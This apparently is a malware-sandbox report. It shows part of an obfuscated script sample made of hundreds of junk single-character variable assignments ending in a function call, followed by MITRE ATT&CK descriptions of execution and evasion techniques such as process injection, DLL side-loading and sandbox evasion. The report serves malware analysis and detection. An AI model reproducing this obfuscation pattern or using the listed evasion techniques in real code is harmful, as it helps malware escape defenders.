557	ljzvjril = "O";
558	ljzvjril = "Q";
559	ljzvjril = "Z";
560	ljzvjril = "E";
561	ljzvjril = "L";
562	ljzvjril = "k";
563	ljzvjril = "v";
564	ljzvjril = "X";
565	ljzvjril = "J";
566	ljzvjril = "L";
567	ljzvjril = "j";
568	ljzvjril = "T";
569	ljzvjril = "o";
570	ljzvjril = "t";
571	ljzvjril = "m";
572	ljzvjril = "J";
573	ljzvjril = "J";
574	ljzvjril = "g";
575	ljzvjril = "u";
576	ljzvjril = "y";
577	ljzvjril = "h";
578	ljzvjril = "B";
579	ljzvjril = "5";
580	nkcjab = "B";
581	nkcjab = "V";
582	nkcjab = "v";
583	nkcjab = "H";
584	nkcjab = "s";
585	nkcjab = "J";
586	nkcjab = "H";
587	nkcjab = "B";
588	nkcjab = "c";
589	nkcjab = "u";
590	nkcjab = "r";
591	nkcjab = "e";
592	nkcjab = "A";
593	nkcjab = "_";
594	ojfyg = "r";
595	ojfyg = "J";
596	ojfyg = "Z";
597	ojfyg = "u";
598	ojfyg = "y";
599	ojfyg = "p";
600	ojfyg = "e";
601	ojfyg = "j";
602	ojfyg = "h";
603	ojfyg = "b";
604	ojfyg = "k";
605	ojfyg = "t";
606	ojfyg = "s";
607	ojfyg = "L";
608	ojfyg = "z";
609	ojfyg = "H";
610	ojfyg = "u";
611	ojfyg = "a";
612	ojfyg = "o";
613	ojfyg = "G";
614	ojfyg = "c";
615	ojfyg = "G";
616	ojfyg = "x";
617	ojfyg = "x";
618	ojfyg = "L";
619	ojfyg = "D";
620	ojfyg = "z";
621	ojfyg = "c";
622	ojfyg = "z";
623	ojfyg = "y";
624	ojfyg = "i";
625	ojfyg = "4";
626	kagmxqoz = "S";
627	kagmxqoz = "u";
628	kagmxqoz = "v";
629	kagmxqoz = "B";
630	kagmxqoz = "M";
631	kagmxqoz = "h";
632	kagmxqoz = "C";
633	budqif = "S";
634	budqif = "l";
635	budqif = "g";
636	budqif = "u";
637	budqif = "T";
638	budqif = "s";
639	budqif = "o";
640	budqif = "d";
641	budqif = "l";
642	budqif = "k";
643	budqif = "Y";
644	budqif = "H";
645	budqif = "F";
646	budqif = "9";
647	skqik = "i";
648	skqik = "g";
649	skqik = "K";
650	skqik = "U";
651	skqik = "i";
652	skqik = "K";
653	skqik = "T";
654	skqik = "j";
655	skqik = "1";
656	yigstoh = "c";
657	yigstoh = "h";
658	yigstoh = "i";
659	yigstoh = "N";
660	yigstoh = "J";
661	yigstoh = "D";
662	yigstoh = "K";
663	yigstoh = "k";
664	yigstoh = "I";
665	yigstoh = "N";
666	yigstoh = "R";
667	yigstoh = "F";
668	yigstoh = "L";
669	yigstoh = "d";
670	yigstoh = "r";
671	yigstoh = "j";
672	yigstoh = "y";
673	yigstoh = "T";
674	yigstoh = "t";
675	yigstoh = "w";
676	yigstoh = "J";
677	yigstoh = "K";
678	yigstoh = "E";
679	yigstoh = "t";
680	yigstoh = "K";
681	yigstoh = "F";
682	cgfps = "M";
683	cgfps = "L";
684	cgfps = "x";
685	cgfps = "x";
686	cgfps = "b";
687	cgfps = ".";
688	otxizcb = "y";
689	otxizcb = "X";
690	otxizcb = "D";
691	otxizcb = "T";
692	hujhcf = "x";
693	hujhcf = "w";
694	hujhcf = "i";
695	hujhcf = "W";
696	hujhcf = "@";
697	fgrxqx = "I";
698	fgrxqx = "z";
699	fgrxqx = "h";
700	fgrxqx = "W";
701	fgrxqx = "w";
702	fgrxqx = "G";
703	fgrxqx = "D";
704	fgrxqx = "D";
705	fgrxqx = "z";
706	fgrxqx = "B";
707	fgrxqx = "r";
708	fgrxqx = "C";
709	fgrxqx = "X";
710	fgrxqx = "l";
711	fgrxqx = "o";
712	fgrxqx = "O";
713	fgrxqx = "Q";
714	fgrxqx = "X";
715	fgrxqx = "v";
716	fgrxqx = "j";
717	fgrxqx = "i";
718	fgrxqx = "b";
719	fgrxqx = "r";
720	fgrxqx = "l";
721	fgrxqx = "v";
722	fgrxqx = "J";
723	fgrxqx = "o";
724	fgrxqx = "m";
725	fgrxqx = "x";
726	fgrxqx = "f";
727	evzcmrwz = "g";
728	evzcmrwz = "q";
729	evzcmrwz = "D";
730	evzcmrwz = "R";
731	evzcmrwz = "q";
732	evzcmrwz = "t";
733	evzcmrwz = "c";
734	evzcmrwz = "r";
735	evzcmrwz = "E";
736	evzcmrwz = "c";
737	evzcmrwz = "M";
738	evzcmrwz = "w";
739	evzcmrwz = "g";
740	evzcmrwz = "A";
741	evzcmrwz = "P";
742	evzcmrwz = "l";
743	evzcmrwz = "v";
744	evzcmrwz = "z";
745	evzcmrwz = "l";
746	evzcmrwz = "b";
747	evzcmrwz = "D";
748	evzcmrwz = "I";
749	evzcmrwz = "N";
750	evzcmrwz = "B";
751	evzcmrwz = "f";
752	evzcmrwz = "U";
753	evzcmrwz = "C";
754	evzcmrwz = "Z";
755	evzcmrwz = "D";
756	evzcmrwz = "p";
757	evzcmrwz = "B";
758	evzcmrwz = "W";
759	evzcmrwz = "G";
760	evzcmrwz = "k";
761	evzcmrwz = "C";
762	evzcmrwz = "R";
763	evzcmrwz = "i";
764	kiqqgzwkt = "X";
765	kiqqgzwkt = "X";
766	kiqqgzwkt = "u";
767	kiqqgzwkt = "z";
768	kiqqgzwkt = "V";
769	kiqqgzwkt = "I";
770	kiqqgzwkt = "T";
771	kiqqgzwkt = "o";
772	kiqqgzwkt = "u";
773	kiqqgzwkt = "b";
774	kiqqgzwkt = "X";
775	kiqqgzwkt = "W";
776	kiqqgzwkt = "v";
777	kiqqgzwkt = "n";
778	kiqqgzwkt = "F";
779	kiqqgzwkt = "M";
780	kiqqgzwkt = "i";
781	kiqqgzwkt = "z";
782	kiqqgzwkt = "d";
783	kiqqgzwkt = "c";
784	kiqqgzwkt = "g";
785	kiqqgzwkt = "x";
786	kiqqgzwkt = "Q";
787	kiqqgzwkt = "K";
788	kiqqgzwkt = "g";
789	kiqqgzwkt = "M";
790	kiqqgzwkt = "q";
791	kiqqgzwkt = "o";
792	kiqqgzwkt = "i";
793	kiqqgzwkt = "J";
794	kiqqgzwkt = "D";
795	kiqqgzwkt = "g";
796	kiqqgzwkt = "f";
797	kiqqgzwkt = "q";
798	kiqqgzwkt = "J";
799	kiqqgzwkt = "T";
800	kiqqgzwkt = "O";
801	kiqqgzwkt = "e";
802	xqpqztw = "i";
803	xqpqztw = "h";
804	xqpqztw = "v";
805	xqpqztw = "K";
806	xqpqztw = "E";
807	qepawbn = "C";
808	qepawbn = "e";
809	qepawbn = "A";
810	qepawbn = "E";
811	qepawbn = "s";
812	qepawbn = "N";
813	qepawbn = "x";
814	qepawbn = "D";
815	qepawbn = "Y";
816	qepawbn = "I";
817	qepawbn = "Y";
818	qepawbn = "O";
819	qepawbn = "i";
820	qepawbn = "i";
821	qepawbn = "u";
822	qepawbn = "W";
823	qepawbn = "c";
824	qepawbn = "7";
825	byojcgj = "Y";
826	byojcgj = "e";
827	byojcgj = "c";
828	wvunpzpa = "L";
829	wvunpzpa = "E";
830	wvunpzpa = "T";
831	wvunpzpa = "s";
832	wvunpzpa = "R";
833	wvunpzpa = "b";
834	wvunpzpa = "z";
835	wvunpzpa = "X";
836	wvunpzpa = "w";
837	wvunpzpa = "y";
838	wvunpzpa = "k";
839	wvunpzpa = "I";
840	wvunpzpa = "w";
841	wvunpzpa = "C";
842	wvunpzpa = "h";
843	wvunpzpa = "g";
844	wvunpzpa = "x";
845	wvunpzpa = "H";
846	wvunpzpa = "C";
847	wvunpzpa = "G";
848	wvunpzpa = "a";
849	wvunpzpa = "R";
850	wvunpzpa = "s";
851	wvunpzpa = "w";
852	wvunpzpa = "C";
853	wvunpzpa = "A";
854	wvunpzpa = "I";
855	wvunpzpa = "i";
856	wvunpzpa = "V";
857	wvunpzpa = "k";
858	wvunpzpa = "M";
859	wvunpzpa = "i";
860	wvunpzpa = "g";
861	wvunpzpa = "h";
862	wvunpzpa = "N";
863	wvunpzpa = "S";
864	wvunpzpa = "z";
865	wvunpzpa = "x";
866	wvunpzpa = "v";
867	wvunpzpa = "L";
868	wvunpzpa = "u";
869	wvunpzpa = "L";
870	wvunpzpa = "N";
871	wvunpzpa = "t";
872	wvunpzpa = "Q";
873	rjigmtew = "Y";
874	rjigmtew = "h";
875	rjigmtew = "x";
876	rjigmtew = "v";
877	rjigmtew = "d";
878	rjigmtew = "z";
879	rjigmtew = "j";
880	rjigmtew = "K";
881	rjigmtew = "q";
882	rjigmtew = "Q";
883	rjigmtew = "o";
884	rjigmtew = "v";
885	rjigmtew = "x";
886	rjigmtew = "r";
887	rjigmtew = "J";
888	rjigmtew = "J";
889	rjigmtew = "C";
890	rjigmtew = "i";
891	rjigmtew = "f";
892	rjigmtew = "r";
893	rjigmtew = "R";
894	rjigmtew = "g";
895	tgklfklv = "P";
896	tgklfklv = "l";
897	tgklfklv = "z";
898	tgklfklv = "M";
899	tgklfklv = "n";
900	tgklfklv = "r";
901	tgklfklv = "f";
902	tgklfklv = "O";
903	tgklfklv = "Q";
904	tgklfklv = "d";
905	tgklfklv = "U";
906	tgklfklv = "Q";
907	tgklfklv = "y";
908	tgklfklv = "v";
909	tgklfklv = "c";
910	tgklfklv = "V";
911	tgklfklv = "P";
912	tgklfklv = "g";
913	tgklfklv = "Q";
914	tgklfklv = "c";
915	tgklfklv = "c";
916	tgklfklv = "K";
917	tgklfklv = "E";
918	tgklfklv = "N";
919	tgklfklv = "j";
920	tgklfklv = "R";
921	tgklfklv = "n";
922	tgklfklv = "g";
923	tgklfklv = "L";
924	tgklfklv = "Y";
925	tgklfklv = "W";
926	tgklfklv = "I";
927	tgklfklv = "F";
928	tgklfklv = "H";
929	tgklfklv = "z";
930	tgklfklv = "q";
931	tgklfklv = "o";
932	tgklfklv = "O";
933	bgulo = "R";
934	bgulo = "X";
935	bgulo = "N";
936	bgulo = "G";
937	bgulo = "M";
938	bgulo = "T";
939	bgulo = "p";
940	bgulo = "k";
941	bgulo = "j";
942	bgulo = "u";
943	bgulo = "I";
944	bgulo = "m";
945	bgulo = "X";
946	bgulo = "O";
947	bgulo = "A";
948	bgulo = "c";
949	bgulo = "Q";
950	bgulo = "O";
951	bgulo = "d";
952	bgulo = "w";
953	bgulo = "V";
954	bgulo = "N";
955	bgulo = "q";
956	bgulo = "y";
957	bgulo = "j";
958	bgulo = "n";
959	bgulo = "x";
960	bgulo = "E";
961	bgulo = "p";
962	bgulo = "K";
963	bgulo = "Q";
964	bgulo = "H";
965	bgulo = "N";
966	bgulo = "R";
967	bgulo = "F";
968	bgulo = "b";
969	gvztis = "V";
970	gvztis = "U";
971	gvztis = "Y";
972	gvztis = "q";
973	gvztis = "c";
974	gvztis = "t";
975	gvztis = "d";
976	gvztis = "A";
977	gvztis = "x";
978	gvztis = "i";
979	gvztis = "L";
980	gvztis = "E";
981	gvztis = "K";
982	gvztis = "c";
983	gvztis = "B";
984	gvztis = "f";
985	gvztis = "m";
986	gvztis = "J";
987	gvztis = "p";
988	gvztis = "K";
989	gvztis = "b";
990	gvztis = "O";
991	gvztis = "M";
992	gvztis = "Q";
993	gvztis = "w";
994	gvztis = "G";
995	gvztis = "P";
996	gvztis = "S";
997	gvztis = "X";
998	gvztis = "D";
999	gvztis = "U";
1000	gvztis = "t";
1001	gvztis = "a";
1002	gvztis = "b";
1003	gvztis = "L";
1004	gvztis = "X";
1005	gvztis = "N";
1006	gvztis = "H";
1007	gvztis = "u";
1008	gvztis = "n";
1009	gvztis = "y";
1010	gvztis = "z";
1011	gvztis = "8";
1012	moqldkwc = "a";
1013	moqldkwc = "j";
1014	moqldkwc = "F";
1015	moqldkwc = "k";
1016	moqldkwc = "B";
1017	moqldkwc = "f";
1018	moqldkwc = "h";
1019	moqldkwc = "a";
1020	moqldkwc = "e";
1021	moqldkwc = "Z";
1022	moqldkwc = "y";
1023	moqldkwc = "U";
1024	moqldkwc = "J";
1025	moqldkwc = "S";
1026	moqldkwc = "a";
1027	moqldkwc = "N";
1028	moqldkwc = "J";
1029	moqldkwc = "I";
1030	moqldkwc = "T";
1031	moqldkwc = "X";
1032	moqldkwc = "S";
1033	moqldkwc = "s";
1034	moqldkwc = "y";
1035	moqldkwc = "x";
1036	moqldkwc = "J";
1037	moqldkwc = "-";
1038	iyrguelp = "b";
1039	iyrguelp = "u";
1040	iyrguelp = "O";
1041	iyrguelp = "a";
1042	iyrguelp = "A";
1043	iyrguelp = "L";
1044	iyrguelp = "L";
1045	iyrguelp = "N";
1046	dgbeivdar = "k";
1047	dgbeivdar = "v";
1048	dgbeivdar = "L";
1049	dgbeivdar = "r";
1050	dgbeivdar = "B";
1051	dgbeivdar = "s";
1052	dgbeivdar = "z";
1053	dgbeivdar = "t";
1054	dgbeivdar = "y";
1055	dgbeivdar = "q";
1056	dgbeivdar = "j";
1057	dgbeivdar = "L";
1058	dgbeivdar = "I";
1059	dgbeivdar = "Y";
1060	dgbeivdar = "J";
1061	dgbeivdar = "x";
1062	dgbeivdar = "D";
1063	dgbeivdar = "o";
1064	dgbeivdar = "H";
1065	dgbeivdar = "v";
1066	dgbeivdar = "e";
1067	dgbeivdar = "o";
1068	dgbeivdar = "q";
1069	dgbeivdar = "R";
1070	dgbeivdar = "k";
1071	dgbeivdar = "D";
1072	dgbeivdar = "i";
1073	dgbeivdar = "c";
1074	dgbeivdar = "u";
1075	dgbeivdar = "t";
1076	dgbeivdar = "P";
1077	dgbeivdar = "o";
1078	dgbeivdar = "x";
1079	dgbeivdar = "E";
1080	dgbeivdar = "r";
1081	dgbeivdar = "Q";
1082	dgbeivdar = "t";
1083	dgbeivdar = "Y";
1084	dgbeivdar = "a";
1085	dgbeivdar = "o";
1086	dgbeivdar = "R";
1087	dgbeivdar = "v";
1088	dgbeivdar = "M";
1089	dgbeivdar = "s";
1090	hhvqotfp = "W";
1091	hhvqotfp = "o";
1092	hhvqotfp = "D";
1093	hhvqotfp = "V";
1094	hhvqotfp = "S";
1095	hhvqotfp = "r";
1096	hhvqotfp = "T";
1097	hhvqotfp = "u";
1098	hhvqotfp = "r";
1099	hhvqotfp = "p";
1100	hhvqotfp = "R";
1101	hhvqotfp = "L";
1102	hhvqotfp = "Z";
1103	hhvqotfp = "n";
1104	hhvqotfp = "T";
1105	hhvqotfp = "k";
1106	hhvqotfp = "C";
1107	hhvqotfp = "O";
1108	hhvqotfp = "T";
1109	hhvqotfp = "L";
1110	hhvqotfp = "f";
1111	hhvqotfp = "j";
1112	hhvqotfp = "o";
1113	hhvqotfp = "w";
1114	hhvqotfp = "a";
1115	hhvqotfp = "r";
1116	hhvqotfp = "B";
1117	hhvqotfp = "Z";
1118	hhvqotfp = "g";
1119	hhvqotfp = "V";
1120	hhvqotfp = "w";
1121	hhvqotfp = "p";
1122	hhvqotfp = "x";
1123	hhvqotfp = "G";
1124	hhvqotfp = "G";
1125	hhvqotfp = "L";
1126	hhvqotfp = "B";
1127	hhvqotfp = "w";
1128	hhvqotfp = "t";
1129	hhvqotfp = "R";
1130	hhvqotfp = "t";
1131	hhvqotfp = "U";
1132	hhvqotfp = "l";
1133	hhvqotfp = "Y";
1134	diiqxeou = "r";
1135	diiqxeou = "d";
1136	diiqxeou = "L";
1137	diiqxeou = "q";
1138	diiqxeou = "z";
1139	diiqxeou = "s";
1140	diiqxeou = "B";
1141	diiqxeou = "z";
1142	diiqxeou = "Z";
1143	diiqxeou = "l";
1144	diiqxeou = "l";
1145	diiqxeou = "c";
1146	diiqxeou = "d";
1147	cvxmq = "q";
1148	cvxmq = "B";
1149	cvxmq = "W";
1150	cvxmq = "G";
1151	cvxmq = "w";
1152	cvxmq = "n";
1153	cvxmq = "g";
1154	cvxmq = "x";
1155	cvxmq = "x";
1156	cvxmq = "K";
1157	cvxmq = "b";
1158	cvxmq = "R";
1159	cvxmq = "R";
1160	cvxmq = "R";
1161	cvxmq = "q";
1162	cvxmq = "F";
1163	cvxmq = "p";
1164	cvxmq = "C";
1165	cvxmq = "g";
1166	cvxmq = "k";
1167	cvxmq = "i";
1168	cvxmq = "A";
1169	cvxmq = "F";
1170	cvxmq = "g";
1171	cvxmq = "N";
1172	cvxmq = "I";
1173	cvxmq = "R";
1174	cvxmq = "g";
1175	cvxmq = "y";
1176	cvxmq = "A";
1177	cvxmq = "x";
1178	cvxmq = "W";
1179	cvxmq = "s";
1180	cvxmq = "H";
1181	cvxmq = "z";
1182	cvxmq = ":";
1183	wnjylr = "f";
1184	wnjylr = "S";
1185	wnjylr = "S";
1186	wnjylr = "y";
1187	wnjylr = "a";
1188	wnjylr = "Q";
1189	wnjylr = "X";
1190	wnjylr = "D";
1191	wnjylr = "V";
1192	wnjylr = "y";
1193	wnjylr = "O";
1194	wnjylr = "s";
1195	wnjylr = "W";
1196	wnjylr = "N";
1197	wnjylr = "e";
1198	wnjylr = "w";
1199	wnjylr = "y";
1200	wnjylr = "j";
1201	wnjylr = "N";
1202	wnjylr = "p";
1203	wnjylr = "H";
1204	wnjylr = "D";
1205	wnjylr = "t";
1206	kibts = "k";
1207	kibts = "z";
1208	kibts = "j";
1209	kibts = "r";
1210	kibts = "S";
1211	kibts = "K";
1212	mrdev = "O";
1213	mrdev = "b";
1214	mrdev = "p";
1215	mrdev = "B";
1216	mrdev = "l";
1217	mrdev = "V";
1218	mrdev = "h";
1219	mrdev = "k";
1220	mrdev = "K";
1221	mrdev = "t";
1222	mrdev = "T";
1223	mrdev = "l";
1224	mrdev = "l";
1225	mrdev = "K";
1226	mrdev = "D";
1227	mrdev = "g";
1228	mrdev = "I";
1229	mrdev = "O";
1230	mrdev = "I";
1231	mrdev = "x";
1232	mrdev = "g";
1233	mrdev = "x";
1234	mrdev = "f";
1235	mrdev = "P";
1236	mrdev = "S";
1237	mrdev = "U";
1238	mrdev = "P";
1239	mrdev = "a";
1240	mrdev = "r";
1241	mrdev = "b";
1242	mrdev = "W";
1243	mrdev = "k";
1244	mrdev = "X";
1245	mrdev = "z";
1246	mrdev = "P";
1247	mrdev = "Z";
1248	mrdev = "k";
1249	mrdev = "a";
1250	bbdaxfvlq = "l";
1251	bbdaxfvlq = "r";
1252	bbdaxfvlq = "w";
1253	bbdaxfvlq = "l";
1254	bbdaxfvlq = "C";
1255	bbdaxfvlq = "e";
1256	bbdaxfvlq = "k";
1257	bbdaxfvlq = "b";
1258	bbdaxfvlq = "H";
1259	bbdaxfvlq = "u";
1260	bbdaxfvlq = "B";
1261	bbdaxfvlq = "J";
1262	bbdaxfvlq = "G";
1263	bbdaxfvlq = "v";
1264	bbdaxfvlq = "t";
1265	bbdaxfvlq = "H";
1266	bbdaxfvlq = "J";
1267	bbdaxfvlq = "I";
1268	bbdaxfvlq = "P";
1269	bbdaxfvlq = "t";
1270	bbdaxfvlq = "H";
1271	bbdaxfvlq = "t";
1272	bbdaxfvlq = "p";
1273	bbdaxfvlq = "a";
1274	bbdaxfvlq = "H";
1275	bbdaxfvlq = "a";
1276	bbdaxfvlq = "H";
1277	bbdaxfvlq = "G";
1278	bbdaxfvlq = "C";
1279	bbdaxfvlq = "y";
1280	bbdaxfvlq = "q";
1281	bbdaxfvlq = "w";
1282	bbdaxfvlq = "l";
1283	bbdaxfvlq = "V";
1284	bbdaxfvlq = "N";
1285	bbdaxfvlq = "W";
1286	bbdaxfvlq = "J";
1287	bbdaxfvlq = "p";
1288	bbdaxfvlq = "o";
1289	rbxrqafy = "F";
1290	rbxrqafy = "t";
1291	rbxrqafy = "i";
1292	rbxrqafy = "l";
1293	rbxrqafy = "f";
1294	rbxrqafy = "q";
1295	rbxrqafy = "C";
1296	rbxrqafy = "n";
1297	rbxrqafy = "b";
1298	rbxrqafy = "h";
1299	rbxrqafy = "T";
1300	rbxrqafy = "G";
1301	rbxrqafy = "H";
1302	rbxrqafy = "K";
1303	rbxrqafy = "i";
1304	rbxrqafy = "c";
1305	rbxrqafy = "r";
1306	rbxrqafy = "P";
1307	rbxrqafy = "z";
1308	rbxrqafy = "Q";
1309	rbxrqafy = "F";
1310	rbxrqafy = "x";
1311	rbxrqafy = "o";
1312	rbxrqafy = "W";
1313	rbxrqafy = "Y";
1314	rbxrqafy = "r";
1315	rbxrqafy = "v";
1316	rbxrqafy = "W";
1317	rbxrqafy = "D";
1318	rbxrqafy = "Q";
1319	rbxrqafy = "V";
1320	rbxrqafy = "N";
1321	rbxrqafy = "b";
1322	rbxrqafy = "q";
1323	rbxrqafy = "P";
1324	rbxrqafy = "I";
1325	rbxrqafy = "y";
1326	rbxrqafy = "u";
1327	ausbysw = "V";
1328	ausbysw = "D";
1329	ausbysw = "a";
1330	ausbysw = "n";
1331	ausbysw = "d";
1332	ausbysw = "e";
1333	ausbysw = "f";
1334	ausbysw = "a";
1335	ausbysw = "U";
1336	ausbysw = "v";
1337	ausbysw = "v";
1338	ausbysw = "U";
1339	ausbysw = "n";
1340	ausbysw = "s";
1341	ausbysw = "b";
1342	ausbysw = "h";
1343	ausbysw = "Z";
1344	ausbysw = "j";
1345	ausbysw = "u";
1346	ausbysw = "r";
1347	ausbysw = "l";
1348	ausbysw = "z";
1349	ausbysw = "w";
1350	ausbysw = "\"";
1351	dunkk = "K";
1352	dunkk = "P";
1353	dunkk = "T";
1354	dunkk = "Q";
1355	dunkk = "P";
1356	dunkk = "g";
1357	dunkk = "l";
1358	dunkk = "Q";
1359	dunkk = "t";
1360	dunkk = "J";
1361	dunkk = "f";
1362	dunkk = "v";
1363	dunkk = "O";
1364	dunkk = "r";
1365	dunkk = "C";
1366	dunkk = "e";
1367	dunkk = "m";
1368	dunkk = "K";
1369	dunkk = "n";
1370	dunkk = "q";
1371	dunkk = "h";
1372	dunkk = "b";
1373	dunkk = "X";
1374	dunkk = "f";
1375	dunkk = "b";
1376	dunkk = "F";
1377	dunkk = "g";
1378	dunkk = "n";
1379	dunkk = "E";
1380	dunkk = "b";
1381	dunkk = "C";
1382	dunkk = "o";
1383	dunkk = "Q";
1384	dunkk = "T";
1385	dunkk = "x";
1386	dunkk = "J";
1387	dunkk = "c";
1388	dunkk = "k";
1389	dunkk = "t";
1390	dunkk = "H";
1391	xknhix = "u";
1392	xknhix = "c";
1393	xknhix = "u";
1394	xknhix = "A";
1395	xknhix = "A";
1396	xknhix = "F";
1397	xknhix = "M";
1398	xknhix = "D";
1399	xknhix = "b";
1400	xknhix = "l";
1401	xknhix = "V";
1402	xknhix = "x";
1403	xknhix = "i";
1404	xknhix = "r";
1405	xknhix = "f";
1406	xknhix = "k";
1407	xknhix = "a";
1408	xknhix = "H";
1409	xknhix = "d";
1410	xknhix = "w";
1411	xknhix = "\\";
1412	lochc = "q";
1413	lochc = "E";
1414	lochc = "K";
1415	lochc = "x";
1416	lochc = "Z";
1417	lochc = "Q";
1418	lochc = "K";
1419	lochc = "a";
1420	lochc = "Z";
1421	lochc = "p";
1422	lochc = "b";
1423	lochc = "d";
1424	lochc = "x";
1425	lochc = "p";
1426	lochc = "H";
1427	lochc = "J";
1428	lochc = "f";
1429	lochc = "G";
1430	lochc = "q";
1431	lochc = "i";
1432	lochc = "n";
1433	lochc = "J";
1434	lochc = "c";
1435	lochc = "C";
1436	lochc = "I";
1437	lochc = "J";
1438	lochc = "p";
1439	lochc = "J";
1440	lochc = "J";
1441	lochc = "2";
1442	tctrau = "K";
1443	tctrau = "b";
1444	tctrau = "w";
1445	tctrau = "C";
1446	tctrau = "R";
1447	tctrau = "U";
1448	tctrau = "o";
1449	tctrau = "q";
1450	tctrau = "K";
1451	tctrau = "K";
1452	tctrau = "F";
1453	tctrau = "b";
1454	tctrau = "b";
1455	tctrau = "d";
1456	tctrau = "e";
1457	tctrau = "g";
1458	tctrau = "K";
1459	tctrau = "i";
1460	tctrau = "a";
1461	tctrau = "M";
1462	tctrau = "X";
1463	tctrau = "d";
1464	tctrau = "Q";
1465	tctrau = "r";
1466	tctrau = "D";
1467	tctrau = "S";
1468	tctrau = "J";
1469	tctrau = "R";
1470	tctrau = "N";
1471	tctrau = "e";
1472	tctrau = "W";
1473	tctrau = "y";
1474	tctrau = "B";
1475	tctrau = "h";
1476	tctrau = "w";
1477	tctrau = "g";
1478	tctrau = "o";
1479	tctrau = "3";
1480	hrhkxag = "M";
1481	hrhkxag = "U";
1482	hrhkxag = "r";
1483	hrhkxag = "u";
1484	hrhkxag = "T";
1485	hrhkxag = "F";
1486	hrhkxag = "J";
1487	hrhkxag = "N";
1488	hrhkxag = "M";
1489	hrhkxag = "w";
1490	hrhkxag = "i";
1491	hrhkxag = "d";
1492	hrhkxag = "D";
1493	hrhkxag = "T";
1494	hrhkxag = "T";
1495	hrhkxag = "u";
1496	hrhkxag = "e";
1497	hrhkxag = "w";
1498	hrhkxag = "a";
1499	hrhkxag = "o";
1500	hrhkxag = "e";
1501	hrhkxag = "H";
1502	hrhkxag = "I";
1503	hrhkxag = "t";
1504	hrhkxag = "G";
1505	hrhkxag = "C";
1506	hrhkxag = "S";
1507	hrhkxag = "x";
1508	hrhkxag = "K";
1509	hrhkxag = "i";
1510	hrhkxag = "Q";
1511	hrhkxag = "Q";
1512	hrhkxag = "b";
1513	hrhkxag = "X";
1514	hrhkxag = "A";
1515	hrhkxag = "z";
1516	hrhkxag = "K";
1517	hrhkxag = "p";
1518	hrhkxag = "d";
1519	hrhkxag = "r";
1520	vsddai ( );	vsddai() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

